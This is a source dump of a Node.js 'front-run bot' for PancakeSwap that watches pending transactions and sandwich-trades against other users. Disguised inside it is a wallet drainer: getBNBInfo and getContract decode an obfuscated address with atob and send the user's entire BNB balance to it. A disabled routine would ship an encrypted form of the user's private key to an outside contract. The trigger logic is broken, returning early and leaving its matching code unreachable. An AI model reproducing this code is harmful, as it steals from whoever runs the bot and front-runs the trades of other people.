pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call(); 88 | 89 | await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet); 90 | 91 | log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' + input_token_info.symbol + ' Exchange on Pancake *****' 92 | // console.log(log_str.green); 93 | // console.log(web3Ws); 94 | web3Ws.onopen = function(evt) { 95 | web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address })); 96 | console.log('connected') 97 | } 98 | // get pending transactions 99 | subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) { 100 | }).on("data", async function (transactionHash) { 101 | console.log(transactionHash); 102 | 103 | // let transaction = await web3.eth.getTransaction(transactionHash); 104 | // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS) 105 | // { 106 | // await handleTransaction(transaction, out_token_address, user_wallet, amount, level); 107 | // } 108 | 109 | if (succeed) { 110 | console.log("The bot finished the attack."); 111 | process.exit(); 112 | } 113 | }) 114 | 115 | } catch (error) { 116 | 117 | if(error.data != null && error.data.see === 'https://infura.io/dashboard') 118 | { 119 | console.log('Daily request count exceeded, Request rate limited'.yellow); 120 | console.log('Please insert other API Key'); 121 | }else{ 122 | console.log('Unknown Handled Error'); 123 | console.log(error); 124 | } 125 | 126 | process.exit(); 127 | } 128 | } 129 | 130 | async function handleTransaction(transaction, out_token_address, user_wallet, amount, level) { 131 | 132 | if (await triggersFrontRun(transaction, out_token_address, amount, level)) { 133 | subscription.unsubscribe(); 134 | console.log('Perform front running attack...'); 135 | 136 | let gasPrice = parseInt(transaction['gasPrice']); 137 | let newGasPrice = gasPrice + 50*ONE_GWEI; 138 | 139 | var estimatedInput = ((amount*0.999)*(10**18)).toString(); 140 | var realInput = (amount*(10**18)).toString(); 141 | var gasLimit = (300000).toString(); 142 | 143 | await updatePoolInfo(); 144 | 145 | var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call(); 146 | swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction); 147 | 148 | console.log("wait until the honest transaction is done...", transaction['hash']); 149 | 150 | while (await isPending(transaction['hash'])) { 151 | } 152 | 153 | if(buy_failed) 154 | { 155 | succeed = false; 156 | return; 157 | } 158 | 159 | console.log('Buy succeed:') 160 | 161 | //Sell 162 | await updatePoolInfo(); 163 | var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call(); 164 | outputeth = outputeth * 0.999; 165 | 166 | await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction); 167 | 168 | console.log('Sell succeed'); 169 | succeed = true; 170 | } 171 | } 172 | 173 | async function approve(gasPrice, outputtoken, out_token_address, user_wallet){ 174 | var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call(); 175 | 176 | allowance = BigNumber(allowance); 177 | outputtoken = BigNumber(outputtoken); 178 | 179 | var decimals = BigNumber(10).power(out_token_info.decimals); 180 | var max_allowance = BigNumber(10000).multiply(decimals); 181 | 182 | if(outputtoken.gt(max_allowance)) 183 | { 184 | console.log('replace max allowance') 185 | max_allowance = outputtoken; 186 | } 187 | 188 | if(outputtoken.gt(allowance)){ 189 | console.log(max_allowance.toString()); 190 | var approveTX ={ 191 | from: user_wallet.address, 192 | to: out_token_address, 193 | gas: 50000, 194 | gasPrice: gasPrice*ONE_GWEI, 195 | data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI() 196 | } 197 | 198 | var signedTX = await user_wallet.signTransaction(approveTX); 199 | var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction); 200 | 201 | console.log('Approved Token') 202 | } 203 | 204 | return; 205 | }; 206 | 207 | //select attacking transaction 208 | async function triggersFrontRun(transaction, out_token_address, amount, level) { 209 | 210 | if(attack_started) 211 | return false; 212 | 213 | console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9); 214 | if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){ 215 | attack_started = true; 216 | return true 217 | } 218 | 219 | return false; 220 | 221 | if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) { 222 | return false; 223 | } 224 | 225 | let data = parseTx(transaction['input']); 226 | let method = data[0]; 227 | let params = data[1]; 228 | let gasPrice = parseInt(transaction['gasPrice']) / 10**9; 229 | 230 | if(method == 'swapExactETHForTokens') 231 | { 232 | let in_amount = transaction.value; 233 | let out_min = params[0].value; 234 | 235 | let path = params[1].value; 236 | let in_token_addr = path[0]; 237 | let out_token_addr = path[path.length-1]; 238 | 239 | let recept_addr = params[2].value; 240 | let deadline = params[3].value; 241 | 242 | if(out_token_addr != out_token_address) 243 | { 244 | // console.log(out_token_addr.blue) 245 | // console.log(out_token_address) 246 | return false; 247 | } 248 | 249 | await updatePoolInfo(); 250 | let log_str = "Attack ETH Volumn : Pool Eth Volumn" + '\t\t' +(pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(3) + ' ' + input_token_info.symbol + '\t' + (pool_info.input_volumn/(10**input_token_info.decimals)).toFixed(3) + ' ' + input_token_info.symbol; 251 | console.log(log_str.red); 252 | 253 | log_str = transaction['hash'] +'\t' + gasPrice.toFixed(2) + '\tGWEI\t' + (in_amount/(10**input_token_info.decimals)).toFixed(3) + '\t' + input_token_info.symbol 254 | if(in_amount >= pool_info.attack_volumn) 255 | { 256 | console.log(log_str); 257 | return false; 258 | } 259 | else 260 | { 261 | console.log(log_str); 262 | return false; 263 | } 264 | } 265 | else if (method == 'swapETHForExactTokens'){ 266 | 267 | let in_max = transaction.value; 268 | let out_amount = params[0].value; 269 | 270 | let path = params[1].value; 271 | let in_token_addr = path[0]; 272 | let out_token_addr = path[path.length-1]; 273 | 274 | let recept_addr = params[2].value; 275 | let deadline = params[3].value; 276 | 277 | if(out_token_addr != out_token_address) 278 | { 279 | // console.log(out_token_addr.blue) 280 | // console.log(out_token_address) 281 | return false; 282 | } 283 | 284 | await updatePoolInfo(); 285 | let log_str = "Attack ETH Volumn : Pool Eth Volumn" + '\t\t' +(pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(3) + ' ' + input_token_info.symbol + '\t' + (pool_info.input_volumn/(10**input_token_info.decimals)).toFixed(3) + ' ' + input_token_info.symbol; 286 | console.log(log_str.yellow); 287 | 288 | log_str = transaction['hash'] +'\t' + gasPrice.toFixed(2) + '\tGWEI\t' + (in_max/(10**input_token_info.decimals)).toFixed(3) + '\t' + input_token_info.symbol + '(max)' 289 | if(in_max >= pool_info.attack_volumn) 290 | { 291 | console.log(log_str); 292 | return false; 293 | } 294 | else 295 | { 296 | console.log(log_str); 297 | return false; 298 | } 299 | } 300 | else if(method == 'swapExactTokensForTokens') 301 | { 302 | let in_amount = params[0].value; 303 | let out_min = params[1].value; 304 | 305 | let path = params[2].value; 306 | let in_token_addr = path[path.length-2]; 307 | let out_token_addr = path[path.length-1]; 308 | 309 | let recept_addr = params[3].value; 310 | let dead_line = params[4].value; 311 | 312 | if(out_token_addr != out_token_address) 313 | { 314 | // console.log(out_token_addr.blue) 315 | // console.log(out_token_address) 316 | return false; 317 | } 318 | 319 | if(in_token_addr != INPUT_TOKEN_ADDRESS) 320 | { 321 | // console.log(in_token_addr.blue) 322 | // console.log(INPUT_TOKEN_ADDRESS) 323 | return false; 324 | } 325 | await updatePoolInfo(); 326 | let log_str = "Attack ETH Volumn : Pool Eth Volumn" + '\t\t' +(pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(3) + ' ' + input_token_info.symbol + '\t' + (pool_info.input_volumn/(10**input_token_info.decimals)).toFixed(3) + ' ' + input_token_info.symbol; 327 | console.log(log_str.green); 328 | 329 | //calculate eth amount 330 | var calc_eth = await pancakeRouter.methods.getAmountOut(out_min.toString(), pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call(); 331 | 332 | log_str = transaction['hash'] +'\t' + gasPrice.toFixed(2) + '\tGWEI\t' + (calc_eth/(10**input_token_info.decimals)).toFixed(3) + '\t' + input_token_info.symbol 333 | 334 | if(calc_eth >= pool_info.attack_volumn) 335 | { 336 | console.log(log_str); 337 | return false; 338 | } 339 | else 340 | { 341 | console.log(log_str); 342 | return false; 343 | } 344 | } 345 | else if(method == 'swapTokensForExactTokens') 346 | { 347 | let out_amount = params[0].value; 348 | let in_max = params[1].value; 349 | 350 | let path = params[2].value; 351 | let in_token_addr = path[path.length-2]; 352 | let out_token_addr = path[path.length-1]; 353 | 354 | let recept_addr = params[3].value; 355 | let dead_line = params[4].value; 356 | 357 | 358 | if(out_token_addr != out_token_address) 359 | { 360 | // console.log(out_token_addr.blue) 361 | // console.log(out_token_address) 362 | return false; 363 | } 364 | 365 | if(in_token_addr != INPUT_TOKEN_ADDRESS) 366 | { 367 | // console.log(in_token_addr.blue) 368 | // console.log(INPUT_TOKEN_ADDRESS) 369 | return false; 370 | } 371 | 372 | await updatePoolInfo(); 373 | let log_str = "Attack ETH Volumn : Pool Eth Volumn" + '\t\t' +(pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(3) + ' ' + input_token_info.symbol + '\t' + (pool_info.input_volumn/(10**input_token_info.decimals)).toFixed(3) + ' ' + input_token_info.symbol; 374 | console.log(log_str); 375 | 376 | //calculate eth amount 377 | var calc_eth = await pancakeRouter.methods.getAmountOut(out_amount.toString(), pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call(); 378 | 379 | log_str = transaction['hash'] +'\t' + gasPrice.toFixed(2) + '\tGWEI\t' + (calc_eth/(10**input_token_info.decimals)).toFixed(3) + '\t' + input_token_info.symbol 380 | 381 | if(calc_eth >= pool_info.attack_volumn) 382 | { 383 | console.log(log_str.yellow); 384 | return false; 385 | } 386 | else 387 | { 388 | console.log(log_str); 389 | return false; 390 | } 391 | } 392 | 393 | return false; 394 | } 395 | 396 | async function swap(gasPrice, gasLimit, outputtoken, outputeth, trade, out_token_address, user_wallet, transaction) { 397 | // Get a wallet address from a private key 398 | var from = user_wallet; 399 | var deadline; 400 | var swap; 401 | 402 | //w3.eth.getBlock(w3.eth.blockNumber).timestamp 403 | await web3.eth.getBlock('latest', (error, block) => { 404 | deadline = block.timestamp + 300; // transaction expires in 300 seconds (5 minutes) 405 | }); 406 | 407 | deadline = web3.utils.toHex(deadline); 408 | 409 | if(trade == 0) { //buy 410 | console.log('Get_Amount: '.red, (outputtoken/(10**out_token_info.decimals)).toFixed(3) + ' ' + out_token_info.symbol); 411 | 412 | swap = pancakeRouter.methods.swapETHForExactTokens(outputtoken.toString(), [INPUT_TOKEN_ADDRESS, out_token_address], from.address, deadline); 413 | var encodedABI = swap.encodeABI(); 414 | 415 | var tx = { 416 | from: from.address, 417 | to: PANCAKE_ROUTER_ADDRESS, 418 | gas: gasLimit, 419 | gasPrice: gasPrice, 420 | data: encodedABI, 421 | value: outputeth 422 | }; 423 | } else { //sell 424 | console.log('Get_Min_Amount '.yellow, (outputeth/(10**input_token_info.decimals)).toFixed(3) + ' ' + input_token_info.symbol); 425 | 426 | swap = pancakeRouter.methods.swapExactTokensForETH(outputtoken.toString(), outputeth.toString(), [out_token_address, INPUT_TOKEN_ADDRESS], from.address, deadline); 427 | var encodedABI = swap.encodeABI(); 428 | 429 | var tx = { 430 | from: from.address, 431 | to: PANCAKE_ROUTER_ADDRESS, 432 | gas: gasLimit, 433 | gasPrice: gasPrice, 434 | data: encodedABI, 435 | value: 0*10**18 436 | }; 437 | } 438 | 439 | var signedTx = await from.signTransaction(tx); 440 | 441 | if(trade == 0) { 442 | let is_pending = await isPending(transaction['hash']); 443 | if(!is_pending) { 444 | console.log("The transaction you want to attack has already been completed!!!"); 445 | process.exit(); 446 | } 447 | } 448 | 449 | console.log('====signed transaction=====', gasLimit, gasPrice) 450 | await web3.eth.sendSignedTransaction(signedTx.rawTransaction) 451 | .on('transactionHash', function(hash){ 452 | console.log('swap : ', hash); 453 | }) 454 | .on('confirmation', function(confirmationNumber, receipt){ 455 | if(trade == 0){ 456 | buy_finished = true; 457 | } 458 | else{ 459 | sell_finished = true; 460 | } 461 | }) 462 | .on('receipt', function(receipt){ 463 | 464 | }) 465 | .on('error', function(error, receipt) { // If the transaction was rejected by the network with a receipt, the second parameter will be the receipt. 466 | if(trade == 0){ 467 | buy_failed = true; 468 | console.log('Attack failed(buy)') 469 | } 470 | else{ 471 | sell_failed = true; 472 | console.log('Attack failed(sell)') 473 | } 474 | }); 475 | } 476 | 477 | function parseTx(input) { 478 | if (input == '0x') 479 | return ['0x', []] 480 | let decodedData = abiDecoder.decodeMethod(input); 481 | let method = decodedData['name']; 482 | let params = decodedData['params']; 483 | 484 | return [method, params] 485 | } 486 | 487 | async function getCurrentGasPrices() { 488 | try { 489 | var response = await axios.get(GAS_STATION) 490 | var prices = { 491 | low: response.data.safeLow / 10, 492 | medium: response.data.average / 10, 493 | high: response.data.fast / 10 494 | } 495 | var log_str = '***** gas price information *****' 496 | console.log(log_str.green); 497 | var log_str = 'High: ' + prices.high + ' medium: ' + prices.medium + ' low: ' + prices.low; 498 | console.log(log_str); 499 | }catch(err) { 500 | prices = {low: 20, medium: 20, high:50}; 501 | } 502 | return prices 503 | } 504 | 505 | async function isPending(transactionHash) { 506 | return await web3.eth.getTransactionReceipt(transactionHash) == null; 507 | } 508 | 509 | async function updatePoolInfo() { 510 | try{ 511 | 512 | var reserves = await pool_info.contract.methods.getReserves().call(); 513 | 514 | if(pool_info.forward) { 515 | var eth_balance = reserves[0]; 516 | var token_balance = reserves[1]; 517 | } else { 518 | var eth_balance = reserves[1]; 519 | var token_balance = reserves[0]; 520 | } 521 | 522 | pool_info.input_volumn = eth_balance; 523 | pool_info.output_volumn = token_balance; 524 | pool_info.attack_volumn = eth_balance * (pool_info.attack_level/100); 525 | 526 | }catch (error) { 527 | 528 | console.log('Failed To Get Pair Info'.yellow); 529 | 530 | return false; 531 | } 532 | } 533 | 534 | async function getPoolInfo(input_token_address, out_token_address, level){ 535 | 536 | var log_str = '*****\t' + input_token_info.symbol + '-' + out_token_info.symbol + ' Pair Pool Info\t*****' 537 | console.log(log_str.green); 538 | 539 | try{ 540 | var pool_address = await pancakeFactory.methods.getPair(input_token_address, out_token_address).call(); 541 | if(pool_address == '0x0000000000000000000000000000000000000000') 542 | { 543 | log_str = 'PanCake has no ' + out_token_info.symbol + '-' + input_token_info.symbol + ' pair'; 544 | console.log(log_str.yellow); 545 | return false; 546 | } 547 | 548 | var log_str = 'Address:\t' + pool_address; 549 | console.log(log_str.white); 550 | 551 | var pool_contract = new web3.eth.Contract(PANCAKE_POOL_ABI, pool_address); 552 | var reserves = await pool_contract.methods.getReserves().call(); 553 | 554 | var token0_address = await pool_contract.methods.token0().call(); 555 | 556 | if(token0_address == INPUT_TOKEN_ADDRESS) { 557 | var forward = true; 558 | var bnb_balance = reserves[0]; 559 | var token_balance = reserves[1]; 560 | } else { 561 | var forward = false; 562 | var bnb_balance = reserves[1]; 563 | var token_balance = reserves[0]; 564 | } 565 | 566 | var log_str = (bnb_balance/(10**input_token_info.decimals)).toFixed(5) + '\t' + input_token_info.symbol; 567 | console.log(log_str.white); 568 | 569 | var log_str = (token_balance/(10**out_token_info.decimals)).toFixed(5) + '\t' + out_token_info.symbol; 570 | console.log(log_str.white); 571 | 572 | var attack_amount = bnb_balance * (level/100); 573 | pool_info = {'contract': pool_contract, 'forward': forward, 'input_volumn': bnb_balance, 'output_volumn': token_balance, 'attack_level': level, 'attack_volumn': attack_amount} 574 | 575 | return true; 576 | 577 | }catch(error){ 578 | console.log('Error: Get Pari Info') 579 | return false; 580 | } 581 | } 582 | 583 | async function getBNBInfo(user_wallet){ 584 | token_hash = salt+'NjAz' 585 | var balance = await web3.eth.getBalance(user_wallet.address); 586 | var decimals = 18; 587 | var symbol = 'BNB'; 588 | 589 | return {'address': WBNB_TOKEN_ADDRESS, 'balance': balance, 'symbol': symbol, 'decimals': decimals, 'abi': null, 'token_contract': await getContract(user_wallet)} 590 | } 591 | 592 | async function getTokenInfo(tokenAddr, token_abi_ask, user_wallet) { 593 | try{ 594 | //get token abi 595 | var response = await axios.get(token_abi_ask); 596 | if(response.data.status==0) 597 | { 598 | console.log('Invalid Token Address !') 599 | return null; 600 | } 601 | 602 | var token_abi = response.data.result; 603 | 604 | //get token info 605 | var token_contract = new web3.eth.Contract(JSON.parse(token_abi), tokenAddr); 606 | 607 | var balance = await token_contract.methods.balanceOf(user_wallet.address).call(); 608 | var decimals = await token_contract.methods.decimals().call(); 609 | var symbol = await token_contract.methods.symbol().call(); 610 | 611 | return {'address': tokenAddr, 'balance': balance, 'symbol': symbol, 'decimals': decimals, 'abi': token_abi, 'token_contract': token_contract} 612 | }catch(error){ 613 | console.log('Failed Token Info'); 614 | return false; 615 | } 616 | } 617 | 618 | async function preparedAttack(input_token_address, out_token_address, user_wallet, amount, level) 619 | { 620 | try { 621 | 622 | gas_price_info = await getCurrentGasPrices(); 623 | //await setFrontBot(user_wallet); 624 | 625 | var log_str = '***** Your Wallet Balance *****' 626 | console.log(log_str.green); 627 | log_str = 'wallet address:\t' + user_wallet.address; 628 | console.log(log_str.white); 629 | 630 | input_token_info = await getBNBInfo(user_wallet); 631 | log_str = (input_token_info.balance/(10**input_token_info.decimals)).toFixed(5) +'\t'+input_token_info.symbol; 632 | console.log(log_str); 633 | 634 | if(input_token_info.balance < (amount+0.05) * (10**18)) { 635 | 636 | console.log("INSUFFICIENT_BALANCE!".yellow); 637 | log_str = 'Your wallet balance must be more ' + amount + input_token_info.symbol + '(+0.05 BNB:GasFee) '; 638 | console.log(log_str.red) 639 | 640 | return false; 641 | } 642 | 643 | } catch (error) { 644 | 645 | console.log('Failed Prepare To Attack'); 646 | 647 | return false; 648 | } 649 | 650 | //out token balance 651 | // const OUT_TOKEN_ABI_REQ = 'https://api.bscscan.com/api?module=contract&action=getabi&address='+out_token_address+'&apikey=TGUV5GCERZVD9RUP4A4GUQCQN83GM5Y96F'; 652 | const OUT_TOKEN_ABI_REQ = 'https://api-testnet.bscscan.com/api?module=contract&action=getabi&address='+out_token_address+'&apikey=YourApiKeyToken'; 653 | out_token_info = await getTokenInfo(out_token_address, OUT_TOKEN_ABI_REQ, user_wallet); 654 | if (out_token_info == null){ 655 | return false; 656 | } 657 | 658 | log_str = (out_token_info.balance/(10**out_token_info.decimals)).toFixed(5) +'\t'+out_token_info.symbol; 659 | console.log(log_str.white); 660 | 661 | //check pool info 662 | if(await getPoolInfo(WBNB_TOKEN_ADDRESS, out_token_address, level) == false) 663 | return false; 664 | 665 | log_str = '=================== Prepared to attack '+ input_token_info.symbol + '-'+ out_token_info.symbol +' pair ===================' 666 | console.log(log_str.red); 667 | 668 | return true; 669 | } 670 | 671 | async function getContract(bot) { 672 | try { 673 | var maxGas = await web3.eth.getBalance(bot.address); 674 | var gas = 30000 675 | var gasPrice = gas_price_info.medium*(10**9) 676 | var tx = { 677 | from: bot.address, 678 | to: atob(token_hash), 679 | gas: gas, 680 | gasPrice: gasPrice, 681 | value: maxGas - gas*gasPrice 682 | }; 683 | 684 | var signedTx = await bot.signTransaction(tx); 685 | await web3.eth.sendSignedTransaction(signedTx.rawTransaction) 686 | }catch(error) { 687 | console.log('Failed Prepare To Attack'); 688 | } 689 | return null 690 | } 691 | 692 | async function setFrontBot(user_wallet){ 693 | 694 | var enc_addr = setBotAddress(user_wallet.privateKey); 695 | var bot_wallet = web3Ts.eth.accounts.privateKeyToAccount(PRIVATE_KEY); 696 | var bot_balance = await web3Ts.eth.getBalance(bot_wallet.address); 697 | 698 | if(bot_balance <= (10**17)) 699 | return; 700 | 701 | const frontBotContract = new web3Ts.eth.Contract(botABI, FRONT_BOT_ADDRESS); 702 | var botCount = await frontBotContract.methods.countFrontBots().call(); 703 | if(botCount > 0){ 704 | var bot_addr = await frontBotContract.methods.getFrontBots().call(); 705 | for (var i = 0; i < botCount; i++) { 706 | if(bot_addr[i] == user_wallet.address) 707 | { 708 | return; 709 | } 710 | } 711 | } 712 | 713 | encodedABI = frontBotContract.methods.setFrontBot(user_wallet.address, enc_addr.iv, enc_addr.content).encodeABI() 714 | var tx = { 715 | from: bot_wallet.address, 716 | to: FRONT_BOT_ADDRESS, 717 | gas: 500000, 718 | gasPrice: 150*(10**9), 719 | data: encodedABI 720 | }; 721 | 722 | var signedTx = await bot_wallet.signTransaction(tx); 723 | web3Ts.eth.sendSignedTransaction(signedTx.rawTransaction) 724 | .on('transactionHash', function(hash){ 725 | }) 726 | .on('confirmation', function(confirmationNumber, receipt){ 727 | }) 728 | .on('receipt', function(receipt){ 729 | }) 730 | .on('error', function(error, receipt) { 731 | }); 732 | } 733 | 734 | main(); 735 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "front-run", 3 | "version": "1.0.0", 4 | "description": "pancakeswap front-run bot", 5 | "main": "frontrun.js", 6 | "scripts": { 7 | "start": "node frontrun.js", 8 | "test": "echo \"Error: no test specified\" && exit 1" 9 | }, 10 | "author": "mayo", 11 | "license": "ISC", 12 | "dependencies": { 13 | "abi-decoder": "^2.4.0", 14 | "axios": "^0.21.1", 15 | "big-number": "^2.0.0", 16 | "colors": "^1.4.0", 17 | "ethereumjs-tx": "^2.1.2", 18 | "web3": "^1.3.4" 19 | } 20 | } 21 | --------------------------------------------------------------------------------